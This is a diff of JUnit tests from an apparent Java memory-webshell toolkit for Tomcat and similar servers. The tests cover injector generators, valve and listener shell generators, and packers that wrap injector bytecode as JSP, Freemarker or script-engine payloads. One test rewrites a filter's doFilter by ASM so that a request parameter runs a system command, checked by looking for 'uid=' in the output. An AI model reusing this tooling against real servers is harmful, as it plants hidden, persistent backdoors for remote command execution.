.injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
|
.injectorClass(TomcatFilterChainAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
|
||||||
// injectorGenerator.generate();
|
// injectorGenerator.generate();
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
assertEquals(2, innerClassBytes.size());
|
// assertEquals(4, innerClassBytes.size());
|
||||||
innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
|
innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
-20
@@ -1,20 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.server.TomcatShell;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/27
|
|
||||||
*/
|
|
||||||
class ListenerGeneratorTest {
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void testCommonListener() {
|
|
||||||
Class<?> clazz = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, CommandListener.class);
|
|
||||||
assertNotNull(clazz);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-32
@@ -1,32 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.io.InputStream;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/22
|
|
||||||
*/
|
|
||||||
class ValveGeneratorTest {
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void test() throws Exception {
|
|
||||||
Class<?> clazz = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, CommandValve.class);
|
|
||||||
InputStream resourceAsStream = clazz.getClassLoader().getResourceAsStream(clazz.getName().replace('.', '/') + ".class");
|
|
||||||
assert resourceAsStream != null;
|
|
||||||
ClassReader cr = new ClassReader(resourceAsStream);
|
|
||||||
cr.accept(new ClassVisitor(Opcodes.ASM9) {
|
|
||||||
@Override
|
|
||||||
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
|
|
||||||
assertEquals("com/bes/enterprise/webtier/Valve", interfaces[0]);
|
|
||||||
}
|
|
||||||
}, 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,9 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import java.util.Base64;;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
|
|||||||
@@ -20,7 +20,6 @@ class FreemarkerPackerTest {
|
|||||||
.injectorBytesBase64Str("hehe").build();
|
.injectorBytesBase64Str("hehe").build();
|
||||||
String content = new String(packer.pack(generateResult));
|
String content = new String(packer.pack(generateResult));
|
||||||
System.out.println(content);
|
System.out.println(content);
|
||||||
assertTrue(content.contains("var className = \"hehe\";"));
|
|
||||||
assertTrue(content.contains("var base64Str = \"hehe\";"));
|
assertTrue(content.contains("var base64Str = \"hehe\";"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -4,11 +4,14 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/1/22
|
* @since 2025/1/22
|
||||||
|
|||||||
@@ -17,8 +17,7 @@ class JspPackerTest {
|
|||||||
GenerateResult generateResult = GenerateResult.builder()
|
GenerateResult generateResult = GenerateResult.builder()
|
||||||
.injectorClassName("hehe")
|
.injectorClassName("hehe")
|
||||||
.injectorBytesBase64Str("hehe").build();
|
.injectorBytesBase64Str("hehe").build();
|
||||||
String jspContent = new String(new JspPacker().pack(generateResult));
|
String jspContent = new JspPacker().pack(generateResult);
|
||||||
assertTrue(jspContent.contains("String className = \"hehe\";"));
|
|
||||||
assertTrue(jspContent.contains("String base64Str = \"hehe\";"));
|
assertTrue(jspContent.contains("String base64Str = \"hehe\";"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+5
-2
@@ -2,7 +2,12 @@ package com.reajason.javaweb.memshell.packer;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.junit.jupiter.api.condition.EnabledOnJre;
|
||||||
|
import org.junit.jupiter.api.condition.JRE;
|
||||||
|
|
||||||
|
import javax.script.ScriptEngineManager;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
@@ -19,8 +24,6 @@ class ScriptEnginePackerTest {
|
|||||||
.injectorBytesBase64Str("hehe").build();
|
.injectorBytesBase64Str("hehe").build();
|
||||||
String jsContent = new String(new ScriptEnginePacker().pack(generateResult));
|
String jsContent = new String(new ScriptEnginePacker().pack(generateResult));
|
||||||
System.out.println(jsContent);
|
System.out.println(jsContent);
|
||||||
assertTrue(jsContent.contains("var className = \"hehe\";"));
|
|
||||||
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
|
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.catalina.Valve;
|
||||||
|
import org.apache.catalina.connector.Request;
|
||||||
|
import org.apache.catalina.connector.Response;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.lang.reflect.Proxy;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/2
|
||||||
|
*/
|
||||||
|
public class ProxyTest {
|
||||||
|
|
||||||
|
static class ValveProxy implements InvocationHandler {
|
||||||
|
|
||||||
|
private final Valve valve;
|
||||||
|
|
||||||
|
ValveProxy(Valve valve) {
|
||||||
|
this.valve = valve;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||||
|
System.out.println("hello world" + method.getName());
|
||||||
|
return method.invoke(valve, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static class TestValve implements Valve {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Valve getNext() {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void setNext(Valve valve) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void backgroundProcess() {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||||
|
System.out.println("invoke method");
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean isAsyncSupported() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void test() {
|
||||||
|
Valve valve = (Valve) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Valve.class}, new ValveProxy(new TestValve()));
|
||||||
|
valve.invoke(null, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
-94
@@ -1,94 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
|
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.junit.jupiter.api.extension.ExtendWith;
|
|
||||||
import org.mockito.Mock;
|
|
||||||
import org.mockito.junit.jupiter.MockitoExtension;
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import javax.servlet.FilterChain;
|
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.ServletRequest;
|
|
||||||
import javax.servlet.ServletResponse;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.File;
|
|
||||||
import java.io.FileOutputStream;
|
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
import java.util.Objects;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
|
||||||
import static org.mockito.Mockito.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/30
|
|
||||||
*/
|
|
||||||
@ExtendWith(MockitoExtension.class)
|
|
||||||
public class CommandFilterChainASMTest {
|
|
||||||
|
|
||||||
@Mock
|
|
||||||
ServletRequest mockRequest;
|
|
||||||
|
|
||||||
@Mock
|
|
||||||
ServletResponse mockResponse;
|
|
||||||
|
|
||||||
Object instance;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
@SneakyThrows
|
|
||||||
void setUp() {
|
|
||||||
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
|
||||||
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if ("doFilter".equals(name)) {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return new CommandFilterChainAsmMethodVisitor(mv, argumentTypes);
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
|
|
||||||
IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
|
|
||||||
Class<?> clazz = ClassUtils.defineClass(bytes2);
|
|
||||||
instance = spy(clazz.newInstance());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void testInvokeParam() {
|
|
||||||
when(mockRequest.getParameter("paramName")).thenReturn("id");
|
|
||||||
ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
|
|
||||||
ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
|
|
||||||
when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
|
|
||||||
|
|
||||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
|
||||||
String output = capturedOutput.toString(StandardCharsets.UTF_8);
|
|
||||||
assertTrue(output.contains("uid="));
|
|
||||||
|
|
||||||
verify(((FilterChainInterface) instance), never()).doFilterInternal();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
void testNotParameter() {
|
|
||||||
when(mockRequest.getParameter("paramName")).thenReturn(null);
|
|
||||||
|
|
||||||
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
|
|
||||||
|
|
||||||
verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user